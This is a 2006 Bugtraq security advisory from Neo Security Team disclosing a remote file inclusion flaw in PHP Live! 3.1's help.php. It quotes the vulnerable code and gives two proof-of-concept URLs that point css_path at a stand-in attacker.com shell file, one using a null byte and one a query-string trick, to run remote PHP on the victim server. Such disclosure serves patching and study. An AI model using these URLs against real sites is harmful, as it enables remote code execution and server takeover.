bugtraq - PHP Live! <= 3.1 help.php Remote File Inclusion vulnerability

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Date: 7 Oct 2006 18:47:02 -0000
From: paisterist.nst@...il.com
To: bugtraq@...urityfocus.com
Subject: PHP Live! <= 3.1 help.php Remote File Inclusion vulnerability

/*
--------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST] - Advisory #25 - 08/10/06
--------------------------------------------------------
Program: PHP Live!
Homepage: http://www.phplivesupport.com/
Vulnerable Versions: 3.1 and prior
Risk: High!
Impact: Critical Risk

-==PHP Live! <= 3.1 help.php Remote File Inclusion vulnerability==-
---------------------------------------------------------

- Description
---------------------------------------------------------
PHP Live! enables live help and live customer support communication directly from your website. With PHP 
Live!, you can provide one-on-one chat assistance in real-time, answer visitor questions and add that extra human touch to 
your website.

- Tested
---------------------------------------------------------
localhost & many sites

- Explotation
---------------------------------------------------------

Vulnerable code:

==[ help.php 30 ]=============================
[...]
<?php $css_path = ( !isset( $css_path ) ) ? $css_path = "./" : $css_path ; include_once( $css_path."css/default.php" ) ; ?>
[...]
==[ end help.php ]============================

How we can see there's an arbitrary file inclusion, so we can just include a file from another server, executing the php code 
in the victim's server.

Proof of Concept: http://victim.com/phplive/help.php?css_path=http://www.attacker.com/shell.foo%00

We use a NULL byte at the final of the string because include_once() take a null byte like the end of a string. In this way, 
"css/default.php" doesn't appears at the end of the var.

If you don't wanna use a NULL byte you can do something like:

http://victim.com/phplive/help.php?css_path=http://www.attacker.com/shell.foo?foo=

In this way $foo has css/default.php in the attacker script.


Note: this vulnerability is present only if register_globals is turned on.

There are a lot of Local and Remote File Inclusion vulnerabilities in this script... but there is no reason to publish it.

- How to fix it? More information?
--------------------------------------------------------
Visit our forum to know how to fix it or to get more information.
http://www.neosecurityteam.net/foro/

- References
--------------------------------------------------------
http://www.neosecurityteam.net/index.php?action=advisories&id=25

- Credits
--------------------------------------------------------
Discovered by Paisterist -> paisterist.nst [at] gmail [dot] com

[N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/


- Greets
--------------------------------------------------------
HaCkZaTaN
K4P0
Daemon21
Link
0m3gA_x
LINUX
m0rpheus

Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!!

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/* EOF */